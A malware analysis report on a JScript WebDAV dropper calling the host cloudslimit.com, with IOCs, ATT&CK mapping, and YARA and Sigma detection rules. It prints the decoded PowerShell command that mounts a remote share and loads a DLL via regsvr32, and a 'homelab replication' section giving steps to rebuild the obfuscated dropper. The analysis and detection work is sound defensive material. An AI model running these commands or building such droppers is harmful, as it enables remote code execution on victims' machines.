69f297794c23d603d869d588404ef7f93f9a525be50a7029fe0b1c61a329de38unclassified-js-webdav-dropper: 69f29779 — 62-entry compound-phrase dictionary, cloudslimit.com C2
Executive Summary
A JScript WebDAV dropper using a 62-entry dictionary lookup-table obfuscation with natural-language compound-phrase keys (agreeluxuriantpolitical object). Decodes to powershell -EncodedCommand wrapping net use + regsvr32 /s against cloudslimit.com:8888 with payload 94001122714432.dll. Thirty-eighth confirmed sibling of the unclassified-js-webdav-dropper family.
What It Is
| Field | Value |
|---|---|
| SHA-256 | 69f297794c23d603d869d588404ef7f93f9a525be50a7029fe0b1c61a329de38 |
| Filename | 15497122031997232427.js ^[metadata.json] |
| Size | 20,817 bytes ^[triage.json] |
| Type | ASCII text, single line, 20,817 characters ^[file.txt] |
| Family | unclassified-js-webdav-dropper — 38th confirmed sibling |
| C2 | cloudslimit.com:8888 (single domain for mount + fetch) |
| Payload | 94001122714432.dll |
How It Works
- Dictionary construction inside a nested
try/catchblock. The outertrycallsfetchplacehouse()(undefined, so catch fires); the innertrycallsunitesuggestiondecorous()(also undefined). ^[strings.txt:1] - Inside the outer catch, object
agreeluxuriantpoliticalis populated with 62 key/value pairs. Keys are three-word natural-language compound phrases (e.g.fallaciousinterestingclam,flippantexplodevivacious,receptivewomanlysqualid). Values are single ASCII characters. ^[strings.txt:1] - Inside the inner catch, the payload is assembled via
Function('return this')()['WScript']['Shell']('...')['Run']('powershell -EncodedCommand ...',0,false). ^[strings.txt:1] - The decoded PowerShell command (UTF-16-LE Base64) resolves to:
Same domain used for both mount and payload fetch (single-domain variant, not split-C2).net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\94001122714432.dll
Decoded Command Chain
WScript.Shell.CreateObject("WScript.Shell").Run(
"powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA5ADQAMAAwADEAMQAyADIANwAxADQANAAzADIALgBkAGwAbAA=",
0, false)
Base64 decodes to: net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\94001122714432.dll
Build / RE
- Language: JScript (Windows Script Host) ^[file.txt]
- Obfuscation: Dictionary lookup-table with 62 natural-language compound-phrase keys. Same engine as siblings
aac0198b5,a3419c27a, and94686f16but with a completely fresh key set. Object nameagreeluxuriantpoliticalis unique to this sample. ^[strings.txt:1] - Anti-analysis: None — no VM checks, no debugger checks, no time-bombs, no sandbox gates. Nested
try/catchis purely structural (forces catch-path execution). ^[strings.txt:1] - Code quality: Low — hand-written, repetitive, no commercial obfuscator signatures. The 62-entry dictionary inflates the script to 20 KB without adding meaningful entropy.
- Signing: None (script file).
Deploy / ATT&CK
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | .js file executed by wscript.exe ^[file.txt] |
| Execution | T1059.001 (PowerShell) | powershell.exe -EncodedCommand wrapper ^[strings.txt:1] |
| Execution | T1059.003 (Windows Command Shell) | cmd.exe spawned by net use via PowerShell ^[strings.txt:1] |
| Execution | T1218.010 (Regsvr32) | regsvr32 /s \\cloudslimit.com@8888\davwwwroot\94001122714432.dll ^[strings.txt:1] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | regsvr32.exe loads remote DLL over WebDAV ^[strings.txt:1] |
| Defense Evasion | T1027 (Obfuscated Files or Information) | 62-entry dictionary lookup-table obfuscation ^[strings.txt:1] |
| Command & Control | T1071.001 (Web Protocols) | WebDAV over HTTP (\\cloudslimit.com@8888\DavWWWRoot\) ^[strings.txt:1] |
| Command & Control | T1105 (Ingress Tool Transfer) | net use mounts share; regsvr32 fetches and loads remote DLL ^[strings.txt:1] |
Interesting Tidbits
- The decoy function names
fetchplacehouseandunitesuggestiondecorousare themselves natural-language compound phrases, thematically consistent with the dictionary keys. ^[strings.txt:1] - This is the fourth 62-entry natural-language compound-phrase variant on
cloudslimit.cominfrastructure, followingaac0198b5,a3419c27a, and94686f16. All share the same execution engine (PowerShell-EncodedCommand→net use→regsvr32 /s) but use completely disjoint key sets. ^[strings.txt:1] - Payload filename
94001122714432.dllfollows the family's pattern of 14-digit numeric filenames with.dllextension. No semantic content. - Single-domain C2 (
cloudslimit.com:8888for both mount and fetch) distinguishes this from siblingfb353965which split acrosscloudslimit.comandcloudskimit.com. ^[strings.txt:1] - CAPE skipped detonation — JScript is not a supported binary class for the Windows guest. All behaviour inferred from static deobfuscation. ^[dynamic-analysis.md]
How To Mess With It (Homelab Replication)
- Encode your payload: Take any command string and split it into character-by-character dictionary lookups.
- Build a 62-entry dictionary: Map natural-language compound phrases (e.g.
fallaciousinterestingclam) to single characters. Use a different object name per build. - Wrap in nested try/catch: Call an undefined function in each try block to force the catch path.
- Assembly engine:
Function(''+dict['key1']+dict['key2']+...)()['WScript']['Shell']('command')['Run']('powershell -EncodedCommand <b64>',0,false) - Test against EDR: Static string detection will fail. Behavioural detection on
wscript.exe→powershell.exe→regsvr32.exeis the reliable signal.
Deployable Signatures
YARA Rule
rule WebDAV_JScript_Dropper_Dictionary_62 {
meta:
description = "JScript WebDAV dropper with 62-entry dictionary lookup table"
author = "PacketPursuit SOC"
reference = "raw/analyses/69f297794c23d603d869d588404ef7f93f9a525be50a7029fe0b1c61a329de38"
strings:
$dict_pattern = /\w+=\[\];\w+\['[a-z-]{15,50}'\]='.';/
$func_return_this = "Function('" ascii
$wscript_shell = "WScript" ascii
$davwwwroot = "davwwwroot" ascii nocase
$regsvr32 = "regsvr32" ascii nocase
$net_use = "net use" ascii nocase
condition:
filesize < 50KB
and #dict_pattern >= 50
and $func_return_this
and $wscript_shell
and $davwwwroot
and any of ($regsvr32, $net_use)
}
Sigma Rule
title: JScript WebDAV Dropper Execution Chain
logsource:
category: process_creation
product: windows
detection:
selection_wscript:
Image|endswith: '\wscript.exe'
CommandLine|contains: '.js'
selection_powershell_encoded:
ParentImage|endswith: '\wscript.exe'
Image|endswith: '\powershell.exe'
CommandLine|contains: '-EncodedCommand'
selection_regsvr32_unc:
Image|endswith: '\regsvr32.exe'
CommandLine|contains: '\\'
CommandLine|contains: 'davwwwroot'
condition: selection_wscript and selection_powershell_encoded or selection_regsvr32_unc
falsepositives:
- Legitimate IT automation using WebDAV (rare)
level: high
IOC List
| Indicator | Type | Value |
|---|---|---|
| SHA-256 | Hash | 69f297794c23d603d869d588404ef7f93f9a525be50a7029fe0b1c61a329de38 |
| Filename | Filename | 15497122031997232427.js |
| C2 Domain | Domain | cloudslimit.com |
| C2 Port | Port | 8888 |
| Payload DLL | Filename | 94001122714432.dll |
| Decoy Function | String | fetchplacehouse |
| Decoy Function | String | unitesuggestiondecorous |
| Dictionary Object | String | agreeluxuriantpolitical |
| WebDAV UNC | Path | \\cloudslimit.com@8888\davwwwroot\94001122714432.dll |
Behavioural Fingerprint
A .js file executed by wscript.exe constructs a 50+ entry dictionary mapping English compound phrases to single characters, assembles a PowerShell -EncodedCommand string via Function('return this')()['WScript']['Shell'], and spawns powershell.exe which runs net use to mount a WebDAV share at \\host@8888\DavWWWRoot\ followed by regsvr32 /s to silently load a remote DLL with a 14-digit numeric filename.
Detection Signatures
- No YARA matches (script, not PE). ^[yara.txt]
- No capa output (unsupported file type). ^[capa.txt]
- No binwalk matches (plaintext script). ^[binwalk.txt]
References
- unclassified-js-webdav-dropper — entity page for the family
- js-dictionary-char-lookup-obfuscation — technique page for the obfuscation engine
- webdav-regsvr32-dll-sideloading — technique page for the execution chain
Provenance
- File identification:
filev5.45 ^[file.txt] - String extraction:
stringsGNU binutils ^[strings.txt] - Manual deobfuscation: Python regex replacement of dictionary lookups followed by Base64 decode (UTF-16-LE). All decoded strings verified by independent Python script.
- Script source:
<sample 69f297794c23.bin>(same content as15497122031997232427.js)